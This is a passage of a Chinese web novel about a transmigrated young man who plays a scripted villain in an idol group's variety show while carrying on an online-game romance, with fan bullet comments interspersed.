他第一反应就是,他不会要被退了吧,他还有任务要做啊。 刘阳自顾自的,表情逐渐得意起来,后仰靠在椅背上,“也不看看这张脸,我怎么舍得不把他放进来?” …… 对面三个人都没回应他,郑宥看了眼,对上枣芩的视线,就又低下去了。 但刘阳看样子也习惯了。 枣芩被闷过的脸颊又红了些许,他抿了下自己被冻得凉凉的唇。被当着别人的面说好看,还没人回应,搞得有点尴尬。 系统忽然出声提醒他他不该是这个反应,他应该开心自得的夸夸自己才对。 更尴尬…… 枣芩咬咬牙,按照系统说的,硬着头皮结结巴巴的说:“嗯,反正、反正我长得好看就够了。” 【好不要脸呀!呜呜】 系统:【早点习惯。】 刘阳没觉得不对,还笑了声,他倒是很客观的赞同,毕竟枣芩也是他选进来的。 转头的瞬间,余光瞥见枣芩的脸蛋,简直跟熟透的番茄似的,睫毛细密的抖。 他表情一怔,立即语气关切问:“脸怎么这么红,不会是出去这么久,被冻感冒了吧。” “啊?”枣芩反应过来摇摇头,感受着脸上的温度,连忙说:“没有感冒啊,就是有点热。” 刘阳话语落下的时候,对面一直在盯着手机的戚泽和郑宥,同时抬起头看向枣芩。 枣芩这才看清戚泽的脸,他的五官很像枣芩之前刷手机看到的,给五官分成动物系的蛇系。看起来很冷森,不好惹。 但他的性格显然不是,他扯了扯嘴角,说:“被自己躁的吧。反正你长得好看~” 枣芩:…… 他脸更红了,他想跑。 刘阳视线在两个人中间来回扫视,无奈说:“行了,说正事。后天录那个团综,你们可抓紧这次机会了。” 他对对面的三个,指指卧室道:“你们把自己的东西带过来,整理整理,别被看出来不住一起。明天节目组就会过来,已经把旁边那套房子租下了。” “还有,京迟。录节目肯定是要和队员们相处的,你自己准备准备,跟成员们增进一下感情。”他说着,视线下意识看了眼枣芩。 邵京迟没吭声,帽檐压得很低,看不见眉眼。 刘阳也没有厚此薄彼,挨个嘱咐了一遍,到了枣芩。 其实枣芩还有点好奇他会说什么。 刘阳喝了口水,“枣芩呢,在镜头前多点边界感,如果想跟大家亲近,应该提前跟对方商量一下,好不好?” …… 枣芩捏着自己的手指,别开视线,“哦。” 他一点也不好奇了。 刘阳说完,站起来拍拍手,吸引大家的视线看向他。他最后说:“节目肯定是会制造一些矛盾的,你们注意着点,我先走了。” 刘阳走后,枣芩就溜回了自己卧室。 在外面那气氛降至冰点的感觉,枣芩一刻都待不下去。 他们不太待见他,系统告诉枣芩也没什么,因为他之后还会做更不让人待见的事情。 但他们会不会不待见他就不一定了。 枣芩扑进软软的被子里,没过一会,就听到了开门关门的声音。 应该是要把东西搬过来,枣芩一直住在这里,倒是省事了。 外面彻底安静下去,仿佛都走了。枣芩抬起脸,眼睛转了转,想起自己的羽绒服和围巾还在外面的沙发上,从床上弹起来推开门。 眼前的场景让他脑袋卡了壳,握着门把手,石化在原地。 原本有三个人的客厅,此时只剩下了一头金毛跟鸡窝似的郑宥。 他颀长身体站在沙发前,血管突出、骨节分明的手抓着枣芩米色棉质的围巾,头要低不低,手抓的愈发紧了。 他听到声音掀起眼皮下意识看过来,两人对视上。 “你、”枣芩表情迟疑,张着唇,话还没说出口。 郑宥瞳孔紧缩,仿佛被烫着了,把枣芩的围巾丢回沙发上。 他眼底的窘迫压都压不住,迅速弥散开,故作平静说:“我看见你围巾脏了,我就看看。” 说完,朝着枣芩相反的方向、客厅的右边走去。走了两步才反应过来,又朝着左边,迅速进了枣芩隔壁的房间。 “搞什么啊?”枣芩小声嘟囔了句。 好莫名其妙。刚刚那副画面,他简直要以为郑宥想闻他的围巾。 枣芩快步过去,把自己的羽绒服和丢在一旁的围巾抱起来,回到卧室仔细查看,根本就不脏。 但被说脏了还是挺膈应的,但他又不能自己洗,只能把围巾丢到脏衣篓里。 【额、、】 【可恶的金毛,你一定闻到了,你一定闻到了!】 【金毛,这里面水太深了……你把握不住的,让我来替你闻闻香,我比较有见解】 · 枣芩洗完澡上了床才有时间打开游戏,他新上任的男朋友已经在等着他了。 枣芩一看到他,愣了秒,没想到他会主动出现在自己住的地方。他拉着小人的手选了个贴贴脸动作。 毕竟不是真人,枣芩表情都没变一下,连着点了好几个表达亲密的动作,真像只粘人的小猫似的。 风小人退后几步,躲开了枣芩的贴贴攻击。 风:“太快了。” 小猫喵喵:“啊?哈哈哈,哦好的。” 说着太快了,转头风就带着枣芩回了家。 风家里的家具风格都是游戏的基础装备,与枣芩的小屋相比,几乎称得上一贫如洗。 齐封观察着小猫喵喵的反应,见他什么话也没说,坐在沙发上,杂乱心绪才平静些许。 他印象里关磊从小就不太靠谱。 “我们有一个共同好友。”风坐在沙发上,像是随口提起的闲聊。 小猫喵喵摆摆手:“我跟他不太熟。” …… 风:“我还没说是谁。” …… 风:“我也跟他不太熟。” 小猫喵喵似乎并没有设防,“啊?我看到过他给你评论。” 齐封闭了闭眼,果然是从关磊那里知道他的。 他接着打字,“他是我工作的便利店的老板,他脾气很和善。” “我现实中也在便利店工作,但是工资不太高,我在考虑要不要去送外卖。” 齐封转头在手机上联系关磊,叫他上游戏给小猫喵喵发个评论。 没一会小猫喵喵最近的一条动态下面,就多了关磊一条评论:“猫哥,最近在哪里高就?” 狗腿又自来熟。 小猫喵喵许久没说话,好一会儿才发了一句,“看他的动态感觉他还挺有钱的。” 齐封拧着眉,立马去翻了关磊的动态。不过就是一些肤浅的表和车。 小猫喵喵的态度让齐封心中划过一丝怪异的感受,他气息沉沉,胸口窒闷的感觉都涨到喉咙了。 风:“他现实生活中已经结婚了,而且是入赘,他的钱都是他老婆的,他现在已经50多岁了,而且还是个地中海,平时最喜欢在网上用钱钓年轻人。” 发完,他立马一脸淡漠的给关磊转账。 关磊:【?啥意思,做什么对不起我的事了?】 小猫喵喵:“啊,你不是跟他不熟吗。” 风:“只是意外知道的,听说他之前跟人在游戏里面暧昧,被他老婆打断了一条腿。” 小猫喵喵:“好吧。” 小猫喵喵:“有点晚了,我先去睡了。” 在小猫喵喵退出去的那一刻,齐封也关上了电脑,他把额头贴在桌子上,觉得浑身的力气都消失了。 手机里又传来了关磊的消息,响了之后过了半小时他才看了眼。 关磊:【对了,你那个小猫知道你是真穷之后,态度啥样?】 齐封感觉自己当头又被泼了一盆冷水。他把手机丢到一旁,什么也不想看。 枣芩是真的要早睡,第二天早上节目组还要来安机子,下午得去外景,提前录一些开场。 后天就要正式开录。 当然按照人设,枣芩也应该冷淡一些,却暂时也不至于把风丢掉。 工作人员和其他三人的助理一直往屋子里搬东西,发出的声音一大早就把枣芩吵醒。 他揉了揉眼睛,探出头去看,同层楼没人住的房子门开了,里面有些工作人员摆机器。 整个屋子都被摄像机填满了,工作人员在打扫卫生,他们又马不停蹄的去外摄。 枣芩一上车,选择了最后一排的角落里,以防被第一排的摄像机拍到。他打算等会玩会游戏。 外面吆喝着还有谁没上车,戚泽弯着腰,高大身躯瞬间好像就把车内填满了。他上车坐在了枣芩身边,再往右是一个助理。 车内的空气都是拥挤的味道,枣芩郁闷的靠在椅背上,抿着嘴巴不太舒服。 等到车启动,他才掏出手机。 枣芩被挤到小角落,胳膊挨着戚泽的胳膊,腿和戚泽的腿紧紧贴着,距离近的都能听到他的呼吸声,以及他灼热的温度。 戚泽的手很大,骨节明显,他放在他自己的腿上,可车颠簸一下,他就会不小心碰到枣芩的腿。 好像被这个人笼罩了。 枣芩想把腿挪开,都没有空间挪。 戚泽却仿佛还有往过挤的架势,枣芩看了眼右边,这个助理是有点胖,但是戚泽也没必要给他那么大的位置啊。 枣芩咬着唇,斜眼瞪向他,仗着人设也没压抑自己的脾气,在戚泽发觉看过来时,气愤道:“你能不能别挤我了!”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 50-60 第51章 第 51 章 好好的小妈妈 车内几乎所有人的注意力都被枣芩喊过来, 尤其是第二排独立座椅的郑宥,瞬间坐直身子回过头看。 只除了在枣芩前面的邵京迟,帽檐遮住脸, 下颚锋利。依旧在闭眼休息, 仿佛睡着了。 戚泽侧过头来, 像是刚刚才发现, 看着枣芩气呼呼的表情,他唇角没忍住上扬起一点弧度, 又压下去。 他挪开自己的腿, 说:“呀。真是不好意思,没注意。”?明明就是故意的。 但好在戚泽给他腾开了空间, 枣芩扭动身子,终于能坐开了。 这时他才注意到,前排坐着的,包括司机都见缝插针从车内后视镜看他。 枣芩脸一热, 手指握紧手机,把帽子戴在头上低下脸, 装模作样的打开手机。 烦人。 一上游戏,枣芩就收到了聚会邀请,他不管是现实还是游戏中,还从来没参加过聚会, 好奇心让他开着小轿车就朝着聚会的地方去了。 聚会的主人不知道是什么时候认识的, 跟他的小人打扮同样的花里胡哨,看到枣芩就跟他打招呼,欢迎他。 其他人都在玩狼人杀,枣芩用的手机,设备跟不上, 画质也模糊,玩不了,就只能坐在旁边和同样不玩的人聊天。 身为名义上的男朋友,齐封没有小猫喵喵三次元的联系方式,和他联系只能通过在游戏里蹲他。 好在小猫喵喵也挺黏他,每次上游戏,肯定会第一时间出现在他身边蹦蹦跳跳。 今天同样,他看着小猫喵喵的头像亮起,就下意识坐直身子,视线专注落在屏幕,在便利店前台等待小猫过来找他。 客人走了三趟。 他连对方的影子都没看见。 齐封食指在鼠标上轻轻敲动,没有压实,隐隐有些躁意。他点开小猫的头像,确实是亮着的。 算了,不管他了。 …… 齐封找到小猫喵喵的时候,游戏里天色已经黄昏,他坐在一个会所二楼阳台的椅子上,和一个头发卷的跟泰迪狗一样的男人聊天。 小猫还不时鼓个掌,看起来聊得还挺好的。 齐封站在一楼,看着两人相谈甚欢的场景,胸口的闷火瞬间就烧起来。 他后槽牙都磨出声了,阴恻恻的自言自语,“真行。” 上游戏不找他,原来是跟别人聊起来了。 他立刻打开了和小猫喵喵的聊天框,开始噼里啪啦的打字。 “你到底什么意思?小猫喵喵,你真6,你接近我只是为了钱吗?我有钱呵……” 打完他的气消了不少,又一个字一个字删掉。 “不是因为钱是为什么?你怎么解释,之前还好好的,知道我和关磊不熟后你就冷淡了?” 他眉头紧锁,眸子黑压压,再次按下删除键。 枣芩侧头看向窗外,盖了白雪的绿化带向后驶着,消失在视野中,距离他们的目的地应该不远了。 枣芩收回视线落到游戏上,游戏忽然跳出一条消息,枣芩看到名字愣了愣。 是风发来的消息。 完蛋,差点把他忘了,还好没ooc。 他点开消息框,对面弹出两条信息,一张照片瞬间霸占了他的手机屏幕,让他惊讶的眼睛都睁圆了。 风:“最近晒黑了。” 他配着一张自上而下45度角拍摄的自拍。 照片中的男人皮肤偏白,黑色额发湿着,身上穿着件健身穿的黑背心,每一寸肌肉都绷着,肱二头肌隆起,看起来结实有力。 45度的角度也刚好是拍脸最好看的角度。他眸子微眯看着镜头,唇微张,似乎是运动后有些累了,正在喘气。 枣芩扣扣脸颊。 这是在? 【弟弟别装了。】 【脸不红气不喘的,身上泼点水就当练过了?】 【最~近~晒~黑~了~】 【晒黑了~】 “马上到了昂。”安静车内,司机忽然说了句。 枣芩抬头看了眼,眼看着快到了,他低头匆匆回了句,“还好吧,黑色皮肤也很好看啊。” “我要去工作啦。” 发完就把手机塞回口袋里,抬眼撞进戚泽眼中,对方率先移开视线。 【哈哈哈哈哈】 【没听到自己想听的答案吧,茶弟。】 如弹幕所想,齐封看着枣芩的回答,点开了自己的照片,皱着眉左看右看。 他黑吗?. 当天录完开场,节目组就把一些他们觉得有意思的花絮照片放了出去,为明天的直播提前预热。 以防播的悄无声息,扑的悄无声息。 diff的一些大粉早早知道了消息,已经等了一天了。 放出来的视频仅仅只有两分钟,是几人正在拍摄的时候。 ——怼着枣芩拍的。 枣芩站在三个黑衣服的大高个b男中间,唯一的白色团子格外显眼。 他低头看着手机,乌暗睫毛懒懒垂着,下半张脸埋在衣服里,皮肤白得反光。 察觉到摄像机的靠近,他错愕的抬起脸,全部暴露在镜头下,粉润的嘴唇与柔和的弧度,组成的,是一张无可指摘的清纯脸蛋。 摄像机还在靠近,他眉毛微蹙,有些嗔怪的看着镜头,声音很轻,“你干什么呀?” 镜头晃了下。 评论区乱了。 【啊、】 【这谁?枣芩?枣芩?!我邵哥呢?】 【你邵在旁边,你但凡注意点。】 【我一眼就认出来了!这是我老婆!!我的亲亲老婆你怎么跑到屏幕里面去了,快点出来啊】 【芩芩,麻麻的芩芩,好给麻麻长脸,用脸把其他三个踩晕,】 【用脸杀人「哭脸」「哭脸」】 【diff永远在一起】 【^^好想认识呀】 【楼上做梦快一点】 累了一天,回到房间的枣芩晕了,他明明走的时候还把门开了一条缝,为什么没有好心的工作人员进去,顺便把他的房间也收拾收拾。 床头柜上还放着第一天来时擦手的卫生纸,让他带着脏脏的房间上镜,简直跟杀了他一样难受。 这可是人生第一次录节目。 哪怕作为一个肯定会招大家讨厌的坏蛋,他也想有好一点的开场。 他坐在床上打开手机,有些遗憾的想,要是他和风的进度再快点,这时候就是风来给他打扫卫生了。 可是现在的风…… 风:【照片】 风:【照片】 风:【照片】 …… 风:【我不好看吗?】 枣芩放下手机,开了卧室门,一只眼睛朝着外面偷瞄。 戚泽和郑宥此时都坐在客厅。 戚泽不行,今天刚刚有过矛盾。 郑宥看起来脾气不是很差,而且年纪也不大的样子。 枣芩想开口,又不知道怎么开口,抿着嘴巴纠结。 门缝又推开一些,刚好露出枣芩脸的宽度,就那么恰好又意外的和抬头的郑宥对视上。 郑宥瞳孔僵住,抓了把自己刚洗过的头发,像是要挪开视线。 枣芩连忙着急的对他勾勾手指,满脸写着有话和他说。 郑宥视线落在坐在对面喝咖啡的戚泽身上。 戚泽并没察觉两人的暗度陈仓,发觉了郑宥的目光,戚泽掀起眼皮看了他眼,就挪开了。 有种,他们背着队友做什么的错觉…… 郑宥缓缓站起身,若无其事朝着自己的房间走,又在快靠近时,观察到戚泽没注意他,朝着枣芩的房间进去。 一进屋,就是扑面而来的香气,暖烘烘的干净又惑人的香气。 枣芩咬着唇,小心翼翼关上门。 枣芩的卧室,成了只有他们两个人的密闭空间,郑宥的心跳在他没察觉的时候加快,升温。 他伫立在原地靠着墙,半晌才低声问:“你找我什么事?” 站在他面前的枣芩,穿着单薄,后退两步坐在床上,抬眼看着他,又回头看了眼床。 粉嫩唇瓣被牙齿压着绷出一点白,像是有什么话羞于开口。 郑宥喉结滑动,忍耐着鼻腔胸腔的痒意,他摸了下鼻梁,心底的防线告诉他,他应该现在离开。 而不是,张开口主动问他,还是自己还讨厌的事情,“你、是想跟我炒吗?” 枣芩听到这话,脸上茫然的看着他,一时没反应过来。 他眼睛睫毛扇动,许久才像是想明白了,摇摇头,“不是。” “不是?……”郑宥拧起眉,因为自己思绪乱飘想的东西,脊背都麻了瞬。 不是炒cp,枣芩能找他有什么事情。 视线下滑,落在枣芩光裸白皙的脚背,他不合时宜吞咽了下口水。 枣芩真的很不好意思,他尽量不让对方看出来。指指身后的床头柜,“那里。” 郑宥在原地站了一会,几乎同手同脚走过去,耳朵通红滚烫,他眉头皱了皱,低声说:“额,你没事我就先走了,我还有事。” “有,我有事!”枣芩忙不迭指着床头柜说:“你把卫生纸带出去吧,扔垃圾桶里。” …… 郑宥绷着青筋的手把卫生纸拿起来,恍恍惚惚走出枣芩的门,和戚泽意味不明的暗色瞳孔对上,转头进了自己的房间。 冷森夜晚,枣芩抱着被子熟睡,呼吸清浅,睫毛闭着。 手机屏幕在黑暗中亮起,又亮起。是全然陌生的号码。 陌生人:【hi^^终于找到你了,炒鸡炒鸡喜欢芩芩,希望你不要介意、我出现在你的生活里】 陌生人:【嘻嘻,今天是跟小爱豆在一起的第一天哦,你是我第一个喜欢的人】 并不明晰的月光打进来,落在一动不动的黑影,周围的光线仿佛都被他吸收,什么也看不清。 第二天早上,枣芩接收到了一个奇怪的任务。 系统:【任务三——让你的宝宝觉得你是个好妈妈】??? 枣芩坐在床上,张着唇,整个人呆傻了,满脑袋问号。 他下意识的低头,缓缓将手伸进去摸了摸,脸色一白,整个人的清醒了。 他忙下床,摸自己的肚子,和往常一样的平坦,并没有什么怪异现象。 但他还是放心不下,刚想问系统这是什么情况,听到一声低笑,他瞬间怒了,【你笑什么!】 系统:【没笑。】 系统:【别怕,你还是个宝宝不会生宝宝。】 第52章 第 52 章 没有收到任何成员的心心…… 【宝宝, 一大早这是在?】 【肚子不舒服吗,帮芩芩揉揉】 比起枣芩直播间里长时间相处下来,已经对枣芩自带的冲击熟悉的和缓, 节目组的直播间中弹幕疯狂滚动起来。 ——我要举报, 男团里混进了漂亮妹妹!!! ——为什么早上醒来第一件事是摸摸肚子, 然后露出一脸惊恐又安心的表情, 不会是… ——他三谁的? ——这个团之前都是走下水道吗,见都没见过 ——你们能get的到他吗?反正我是kiss不到「摊手」 ——宝宝你怎么这么好看, 妈妈狭隘了, 还以为昨天的视频是p的,全素颜都这么好看的要命, diff永远的门面「哭哭」 ——想亲…… …… 枣芩洗漱完也没想明白这个任务是个什么意思,难道是他会有小猫小狗吗? 不行啊,绝对不行。 他做完任务就走了。 哪怕小猫小狗本身并不真实存在,他心里也不舒服。 枣芩郁闷着张脸, 本想着回床上躺会,但看到屋内的摄像机, 想起他们是在录节目,转身推开卧室门,打算先去填饱自己的肚子。 开放式厨房传来一阵淡淡的奶香,黑色的身影正在忙碌, 稍长的头发被扎了起来, 落在宽阔肩背。 枣芩愣了愣,一晚没进食的肚子被勾的叫了声,他缓缓靠近几步,抬着下巴,漫不经心的偷看了几眼。 戚泽烤的面包很香, 卖相也很好,看起来就脆脆香香的,跟店里买的没两样。 但可惜,戚泽似乎并没有要给他的好队友准备的意思,牛奶都仅仅只有一杯。 枣芩舔舔唇,若无其事走进厨房打开冰箱。 冷光照着,冰箱里食材五花八门,大部分东西都是经纪人为了效果提前放进去的。 枣芩粗略上下扫视,视线突然定住,反应过来一件事。 真是完蛋,他忘了自己不会做饭,前几天都是点外卖度日的。 拍节目能点外卖吗? 他缓缓关上冰箱门,决定回去手机上问问经纪人,才迈开一步,忽然被叫住。 枣芩茫然睁着亮晶晶的眼睛回头去看,戚泽脸侧还有没扎进去的发丝,身上穿件黑色毛衣,袖子挽在手臂,围着经纪人买来的棕色围裙。 他高挑眉骨抬了抬,瞥了枣芩一眼,嘴角扯出弧度,很像客套的问他,“你早上吃了吗?” 他做的早餐看起来挺多的。 枣芩手指搅在一起,睫毛颤了颤,靠在旁边的吧台上,呆呆的摇摇头,“没有啊。” “没有?”戚泽语气惊讶,冷薄脸上浮现起一些关切的意思,“那、” 枣芩眼睛睁圆,认真的想,戚泽如果和他分享,他也不好意思吃。 不过碍于人设,他还是会好好吃掉的。 枣芩飞快舔了下嘴唇,粉色唇肉瞬间湿濡。 戚泽端起他的餐盘,白色的瓷盘在他手中显得小了些。他看着自己做好的早餐,起身来到枣芩面前。 枣芩心紧了瞬。 戚泽尖锐狭长的眼睛看着他,说:“那我去吃早餐了,你记得吃。” 枣芩大脑缓了两秒,下意识给他让开道,让他出去。脸上后知后觉的浮现起火辣辣的尴尬。 …… 他连忙打开冰箱,细白的手伸进去,在里面也不知道翻找什么,恨不得把脸埋进去。 身后忽然传来声笑,枣芩硬是没回头。 冰箱门被人帮着关上。 戚泽讨人厌的声音在身后说:“你要不别做了?” 枣芩转过身,眼睛水润脸通红,没有一点被冰箱温度降下去的意思。 他绷着脸,“吃你的去吧。” 戚泽笑得很贱,起码在枣芩眼里是这样的。 他懒懒散散的说:“我刚开玩笑的。我吃不了,一人一半,行吗?” 枣芩没什么反应,他才没有那么好哄,而且他还能点外卖。 戚泽似乎知道他的想法,“我本来是想点外卖,可惜今天下雪挺大的,都没人接单。” “帮帮我,求你。”戚泽盯着枣芩已经明显松懈的神色,发觉他偷偷朝餐桌的方向瞄了眼。 枣芩借坡下驴,面色勉为其难的点点头。 戚泽把之前的那杯牛奶放到枣芩手旁,重新热了一杯。 两个人挨着坐在餐桌前,戚泽身形要比枣芩大很多,手臂几乎贴着,腿更是已经挨在一起,看起来亲密的仿佛平时就是好队友。 枣芩吃的脸颊鼓起来,烤面包跟他想的一样好吃,他开心到忍不住摇摇晃晃。 视线随意一抬,正正好好对上角落里头上盖着一块布的摄像机,咬东西的动作蓦然收住。 ——喵~是我 ——可爱宝宝 ——谁家好人一大早给自己做这么多,别装啊哥 ——戚枣(起早)贪黑,给lp做早饭,磕了。 ——滚。枣芩独美,只是吃个饭,不要发散 枣芩下意识端正自己的姿态,又觉得自己一个炮灰,也没必要多端正。 戚泽看着他变来变去的表情,毫无遮掩的笑一声,又在枣芩反应过来之前凑近他问:“今天投票你投谁。” 本要质问他笑什么的枣芩,听到他的话,瞬间就被他带跑偏,眨巴几下眼睛,没懂他在说什么,“票什么?” 他那毫无伪装痕迹的疑问,都让戚泽顿了秒,“没看见?” 戚泽掏出放在围裙兜里面的手机,视线冷淡瞥了眼摄像机,打开拿到枣芩面前。 枣芩低着头凑过去看,首先看到了密密麻麻的字,忍不住皱了下鼻子,边心里默念,才看懂。 就是节目流程有一个投票环节,要投自己好感的队员,不可以投自己。 节目录完,好感心心最多的成员就可以获得一个非常好的资源,但如果得票数是一样的,就不作数。 枣芩知道这个,系统早就跟他说过了,只是一时没想起来。 他要在节目和邵京迟炒cp呢,肯定要投给邵京迟。 枣芩没撒谎,诚实凑到他耳边说:“我投给邵京迟。” 刚刚说完还没离开,他就听到开门声。 顺着声音看过去,是郑宥回来了。 进来的瞬间,外面的冷气就如潮水涌进来,但好在屋内温度足够,枣芩并没觉得多冷。 郑宥手中提着东西,看包装应该早上是亲自去买早餐了。 枣芩收回视线,小口小口咬着烤面包,片刻后,一声响亮的关门声把他吓得差点把面包掉了。 他立马回头去看,只看到了郑宥紧闭的房门。 枣芩吃完烤面包,问戚泽,“你呢,你投谁?” 戚泽盯着他,半晌没什么情绪说了句:“……。邵京迟。” “哦,那我们一样。”枣芩点点头。 毕竟是最红的嘛,想跟他炒cp肯定也是要竞争的。 回到卧室,枣芩没直接躺下,先缩坐在电脑前玩了会游戏。 今天上线时间太早,风没上线,只有昨晚自己下线后收到的信息。 风:【我给你看了我的照片,你愿意给吗?】 风:【不愿意也没什么。】 风:【我们算情侣吧?】 …… 枣芩随便滑了几下,回了句“算”,关掉了聊天框。 一直玩到感觉肚子差不多消化了,才躺回床上,缩在被子里打开手机。 准备看看节目组的流程还有什么,却首先看到了郑宥的信息,怔了怔。 郑宥:【早上好】 郑宥:【肯定还没醒吧?】 郑宥:【我出去买早餐,多买几样,等我回来一起吃早餐哦】 啊…… 枣芩想到刚刚那一下关门声,回想起来仿佛都带着怨气。郑宥不会是以为他看到了但不在乎,提前和戚泽吃了吧。 毕竟现在很多人醒来第一件事情就是看手机,说自己没看手机都像在撒谎。 枣芩已经开始打字,要解释了。 系统出声阻止了他:【警惕ooc。】 按着屏幕的动作停下,他又慢吞吞把自己打的字删掉,蜷起手指。 · 拍备采是轮流去隔壁拍,这些在直播完剪辑的时候会剪掉很多,也会调整顺序。所以很多粉丝会选择看直播,之后再看剪辑后的版本。 枣芩没有经验,就这么直接穿着睡衣过去了。 他穿得简单,但他看到他的第一眼,一定会觉得他哪怕是披块破布,也是浓纤合度,无可指摘。 枣芩乖乖坐在最中间的位置,手臂放在桌子上,黑黢黢的摄像头就在他面前对着脸拍他。 他毕竟不是适应镜头的真爱豆,缓缓垂了下脸,不免有些不自在和羞耻,牙齿轻轻磨着下唇肉,看着导演放在桌子上的台本,和几个小纸团。 对面的导演好一会才反应过来,按照台本问:“咳,你觉得你们团队的关系怎么样?” 他觑了眼取景框,镜头对比现实,明显现实中的枣芩更漂亮更鲜活,皮肤肌理都仿佛发着光。 枣芩表面上在思考,心里疯狂问系统:【我该怎么说啊,很好?还是坏脾气的说不怎么样?】 系统引导他,【你作为一个梦想就是红的爱豆,此时还要依赖团队曝光,你会想要让大家觉得你们不合,还是…?】 枣芩听明白了,他因为自己长时间的沉默咬了下舌尖,装可爱说:“为什么这么问呀,大家觉得我们关系不好吗?” 导演看他的小动作,没忍住笑了下,“每个团队都会被人怀疑内部不合,这是网络上得票比较高的问题。” 枣芩恍然大悟的“哦”了声,他摸摸鼻尖,“我们关系很好的,今天早上,我就是跟戚泽一起吃的早饭。” 又问了几个问题,才步入正题,“那让你现在投出一个你关系最好的队友,你会选择谁呢?” 其他三个已经采访过了,枣芩是最后一个。 导演补充说:“他们都已经回答过了。” 枣芩抿抿唇,按照着在网上学到的,趴在桌子上,为难的说:“好难选啊。” 片刻后,抬起脸蛋,“那我选邵京迟吧。” …… 采访结束后,枣芩不是很敏感的人,都注意到几个工作人员包括导演,看他的眼神似乎透着怜悯。 中午拍了他们介绍自己的卧室。 天黑,一天的录制接近尾声。 diff全员坐在沙发上,公布获得的票数,枣芩终于知道工作人员眼中的怜悯从何而来。 公布票数和采访一样,都是按照番位来的。 “邵京迟两颗心。” 一直跟着冰块哑巴似的,坐在单人沙发的邵京迟眉头皱了瞬,把手中的卡片合上。 “戚泽一颗心。” “郑宥一颗心。” …… 之后的话还没说,屋内空气都凝固,视线都或明显或隐秘,聚集在枣芩身上,让他没忍住垂下眼睫。 总共四个人,四颗心心都已经投出去了。 他本来就是招人讨厌的坏角色,没有人投他,说明他没有ooc。 可是回过神,枣芩却发现自己产生了一些不该有的失落情绪。看着自己手中写着「很抱歉,你今天没有收到任何成员的心心」的卡片无所适从。 ——?给爷气笑了 第53章 第 53 章 听不懂,想亲 ——宝宝别伤心啊, 他们有两个是瞎投的,扔的小纸团啊啊 ——戚泽今天不是还和芩芩一起吃饭的嘛……为什么不投芩芩! ——好可恶,你们丝了, 我老婆好落寞…… 其实枣芩没有表现出什么多大的反应, 录完后, 就起身回了房间。 他随手把卡片放在床头柜上, 和观众挥手道别,把摄像机一盖, 进浴室洗澡了。 他表现的挺平静, 但网上一点都不平静。 正常情况下,本该引发一场没有硝烟的战争, 另外三个的粉丝会辩护会讥讽,起码可以从枣芩不受欢迎、招人讨厌这点发挥。 可风向却诡异的,成了一片心疼宝宝,另外三家的粉丝都隐身了似的。 走出浴室时, 枣芩头发没完全吹干,部分发尾还湿黏在一起, 吹头发太累,他懒得吹了。 头上顶了一块白色干毛巾,准备等会再擦擦。 枣芩就这么头顶毛巾,并着膝盖坐在床边垂头, 捧着手机打字。 看着手机屏幕, 他咬了下唇肉,似乎在犹豫。过了会,他慢腾腾地举起手机,到一个只能拍到他下半张脸的角度。 手机屏幕中他的下半张脸很小,露着线条柔和的粉润嘴巴和鼻头, 以及浅色睡衣下的孱弱锁骨。 他随手拍下发过去,【行了吗?】 聊天框内,还有对方不久前发来的【我不会嫌弃别人的长相,只是想知道。】 【你要不只发半张脸。】 再配上他们网上认识的背景,这聊天记录简直像是,对方在迫切的引诱一个单纯的男孩。 风想要知道他的长相,可是发过去了,人又一句话都不说。 敲门声短促响起,枣芩抬起脸,脸上闪过困惑,不知道是谁会在大晚上找他。 他把手机倒扣在床头柜上,站起身去开门。 静谧的市中心大平层,只有齐封一个人,他坐在卧室的电竞椅上,视线发直。 硕大的电脑屏幕被一张色调温柔的照片占据,照片的一切都恰到好处,像是精密构思而来,引人遐想。 他胸口嗡鸣,鼻腔一热,反应过来时已经身体反应捂住鼻子。他立刻从一旁找纸,都没来得及,血红已经流在了手上,散在掌心纹理。 他不是什么讲究的人,直接把纸塞进了鼻孔,又找了一张擦手,随后把沾染了血迹的纸巾丢进垃圾桶。 他、这该怎么回? “艹……” 他无意识骂了声,都不知道电脑屏幕的光映照,还有没有擦干净的血渍在下巴上。 一旁的手机屏幕亮起,响起收到信息的提示音。 他的视线都没有挪开,单手把手机摸过来,低头一看,又是关磊来关心他的情感进度了。 关磊:【发了吗?长什么样】 关磊:【是不是见光死?我就说,怎么可能有长得好看的搞网恋】 看着他这么说小猫喵喵,齐封都忍不住皱眉,【刚刚发了。】 关磊:【发了?!我看看长啥样?】 齐封:【不行。】 关磊:【?为啥】 齐封十分平静打字:【我怕你喜欢他,当然他也不会喜欢你。】 …… 关磊: 【……本人?】 【哥们,你别太离谱了,其实我认识精神科医生。】 齐封:【滚】 关磊并没打搅到他的好心情,他抬头看着屏幕,唇角忍不住上扬,又缓缓低下头,舔了下后槽牙,又控制不住抬起去看。 他对象嘴巴小小的,脸蛋也小小的,都那么符合他的心意。 就是房间看起来不大,环境并不是很好,他之后要是能把他接过来就好了。 齐封小心翼翼保存照片,又蓝牙传了一份到自己的手机里,哪怕只是下半张脸,可他就是怎么看怎么觉得好看。 小猫喵喵肯定等急了,说不定会胡思乱想。 他忙发道:【宝宝,你真好。】 枣芩打开门,门口的人视线与他对上,又心虚挪开,大手捋了把浅金色的头发,看起来很好摸的样子。 “郑宥。”枣芩没懂对方为什么这个时间来找他,茫然歪了下头去看他的表情,“什么事啊?” 郑宥脸色黯淡,嘴唇闭着,什么话也不说,一动不动站在他门口。 枣芩糊涂了,安静看着他,想知道他到底要干什么。 他站得简直就要腿麻的时候,郑宥才终于张开艰涩的口,低声说:“能进去说吗?” 进到屋里,郑宥看了眼被盖住的镜头,按上门。 枣芩溜到床边,坐回了自己床上,等着他开口。 几乎是跟上次来他房间一模一样的情形,郑宥的想法却完全变了,可在闻到枣芩气味的时候,他还是忍不住心悸。 他站在门口,本来在脑海中演练好的场景,在真正面对枣芩的时候,就全派不上用场,变得像个罚站的学生般僵硬。 也不知自己到底是为了什么,躺在床上反反复复的,在脑海中重复枣芩在没有收到任何人的喜欢时,垂下去的眼睫。 画面如何也挥之不去。 又控制不住出现在他门外,站了好一会,才敲门。 郑宥说:“……我本来打算投你的。” 其实是句很没用的话,毕竟他并没有投枣芩,枣芩落了一个唯一没有人投票的尴尬场面。可是他就是想解释一下。 枣芩愣了愣,手指扣着自己的被套,一时不知道说什么,只小声“啊?”了下。 随后垂下头,“哦。” 郑宥因为他的动作,心立马被挑动紧了瞬,“你生气了吗?” 枣芩反应了一下,摇摇头:“没有啊。” 